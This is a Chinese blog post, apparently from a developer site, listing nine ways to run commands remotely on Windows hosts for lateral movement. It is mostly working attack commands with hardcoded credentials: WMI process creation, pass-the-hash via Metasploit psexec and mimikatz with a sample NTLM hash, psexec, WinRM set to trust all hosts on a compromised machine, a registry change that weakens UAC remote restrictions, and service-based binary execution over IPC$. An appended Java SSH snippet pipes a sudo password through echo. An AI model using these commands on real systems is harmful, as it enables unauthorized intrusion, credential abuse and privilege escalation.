java远程执行cmd命令,windows远程执行cmd命令的9种方法

一、远程执行命令方式及对应端口:

 IPC$+AT 445 PSEXEC445 WMI135 Winrm5985(HTTP)&5986(HTTPS)

二、9种远程执行cmd命令的方法:

1.WMI执行命令方式,无回显:

wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"

2.使用Hash直接登录Windows(HASH传递)

抓取windows hash值,得到administrator的hash:

598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF

msf调用payload:use exploit/windows/smb/psexec

show optionsset RHOST 192.168.81.129

setSMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BFsetSMBUser Administrator

show optionsrun

3. mimikatz传递hash方式连接+at计划任务执行命令:

mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF" //传递hash

dir \\192.168.1.185\c$

4.WMIcmd执行命令,有回显:

WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"

5.Cobalt strkie远程执行命令与hash传递攻击:

45ec756a9b45f5ac6a602027e20f186d.png

6.psexec.exe远程执行命令

psexec /accepteula //接受许可协议

sc delete psexesvc

psexec\\192.168.1.185 -u pt007 -p admin123 cmd.exe

7.psexec.vbs远程执行命令

cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"

8.winrm远程执行命令

//肉机上面快速启动winrm服务,并绑定到5985端口:

winrm quickconfig -q

winrmset winrm/config/Client @{TrustedHosts="*"}

netstat -ano|find "5985"

//客户端连接方式:

winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd

//UAC问题,修改后,普通管理员登录后也是高权限:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"

9.远程命令执行sc

//建立ipc连接(参见net use + at)后上传等待运行的bat或exe程序到目标系统上,创建服务(开启服务时会以system 权限在远程系统上执行程序):

net use \\192.168.17.138\c$ "admin123" /user:pt007

net use

dir \\192.168.17.138\c$

copy test.exe \\192.168.17.138\c$sc\\192.168.17.138 create test binpath= "c:\test.exe"sc\\192.168.17.138 starttest

sc\\192.168.17.138 del test

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用Java JSch可以连接到远程机器并执行命令,下面是一个示例代码,可以更改用户并执行多条命令: ```java import com.jcraft.jsch.*; public class SSHExample { public static void main(String[] args) { String user = "username"; // 远程机器的用户名 String password = "password"; // 远程机器的密码 String host = "remote_host"; // 远程机器的IP地址或域名 int port = 22; // 远程机器的SSH端口号,默认是22 try { JSch jsch = new JSch(); Session session = jsch.getSession(user, host, port); session.setPassword(password); session.setConfig("StrictHostKeyChecking", "no"); session.connect(); // 更改用户 String command = "sudo su - otheruser"; // 需要更改的用户 Channel channel = session.openChannel("exec"); ((ChannelExec) channel).setCommand(command); channel.connect(); // 输入密码 String sudoPassword = "otheruser_password"; // 需要输入的密码 channel = session.openChannel("exec"); ((ChannelExec) channel).setCommand("echo \"" + sudoPassword + "\" | sudo -S ls"); channel.connect(); // 执行多条命令 String[] commands = {"cd /path/to/directory", "ls -l", "date"}; for (String cmd : commands) { channel = session.openChannel("exec"); ((ChannelExec) channel).setCommand(cmd); channel.setInputStream(null); ((ChannelExec) channel).setErrStream(System.err); channel.connect(); channel.disconnect(); } session.disconnect(); } catch (JSchException e) { e.printStackTrace(); } } } ``` 在这个示例中,我们先通过JSch连接到远程机器,然后使用`sudo su - otheruser`命令切换到需要更改的用户,接着使用`echo`命令和管道符号`|`输入密码,最后使用`openChannel`方法打开一个新的`Channel`并执行多条命令。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值